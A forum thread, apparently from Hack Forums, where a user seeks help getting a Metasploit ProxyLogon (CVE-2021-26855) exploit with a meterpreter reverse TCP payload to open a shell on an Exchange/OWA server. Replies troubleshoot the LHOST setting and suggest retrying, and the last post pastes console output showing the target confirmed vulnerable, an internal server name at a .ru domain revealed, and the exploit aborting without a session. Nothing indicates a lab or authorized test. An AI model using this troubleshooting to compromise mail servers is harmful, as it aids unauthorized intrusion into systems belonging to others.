

Forum: [Hack Forums](#)

Thread: [OWA Exploit MSF - Waiting for Payload](#)

PingByte1337 - July 14, 2021, 11:16 am

Hey,

what do i wrong?

Payload = meterpreter_reverse_TCP
VPN with RPF (Remote Port Forward) on Port 4899
I tried lhost with 0.0.0.0 and WAN IP of VPN....

linkinpork - July 15, 2021, 3:04 am

(Jul 14, 2021 11:16 AM)1337Ragna Wrote: [\[CITE\]](#) Hey,

what do i wrong?

Payload = meterpreter_reverse_TCP
VPN with RPF (Remote Port Forward) on Port 4899
I tried lhost with 0.0.0.0 and WAN IP of VPN....

Hi,

In my experience placing the LHOST at wildcard zeroes doesn't work. Or it does, just never worked in my career.

Find your IP first directly --

Code sudo ifconfig
Also the target might just not be vulnerable at all.

Cheers!

PianoWithoutKeys - July 15, 2021, 7:15 am

It looks like the exploit is succeeding. Normally it would tell you if any steps failed, but it looks like they all succeeded. It sounds like you've tried it multiple times, but have you have tried it like 5+ times? Maybe try on a different machine? Metasploit can be finicky, and sometimes you just need to run the exploit a handful of times to get it to you work. Your settings seem fine, so if running the exploit like 10 times does not work, the target might not actually be vulnerable. Metasploit's exploit scanners can return false positives sometimes.

Dotexe - July 15, 2021, 10:48 am

This has to do with meterpreter_reverse_TCP, use options and see if you have configured it correctly.

PingByte1337 - July 30, 2021, 9:29 am

(Jul 15, 2021 10:48 AM)Dotexe Wrote: [\[CITE\]](#) This has to do with meterpreter_reverse_TCP, use options and see if you have configured it correctly.

i like to try it but now it comes

Code [^*] Started reverse TCP handler on 0.0.0.0:443

[*] Executing automatic check (disable AutoCheck to override)

[*] Using auxiliary/scanner/http/exchange_proxylogon as check

[+] https://x.x.x.x:443 - The target is vulnerable to CVE-2021-26855.

[*] Scanned 1 of 1 hosts (100% complete)

[+] The target is vulnerable.

[*] https://x.x.x.x:443 - Attempt to exploit for CVE-2021-26855

[*] https://x.x.x.x:443 - Retrieving backend FQDN over RPC request

[*] Internal server name (mail.office.test.ru)

[*] https://x.x.x.x:443 - Sending autodiscover request

[-] Exploit aborted due to failure: not-found: No Autodiscover information was found

[*] Exploit completed, but no session was created.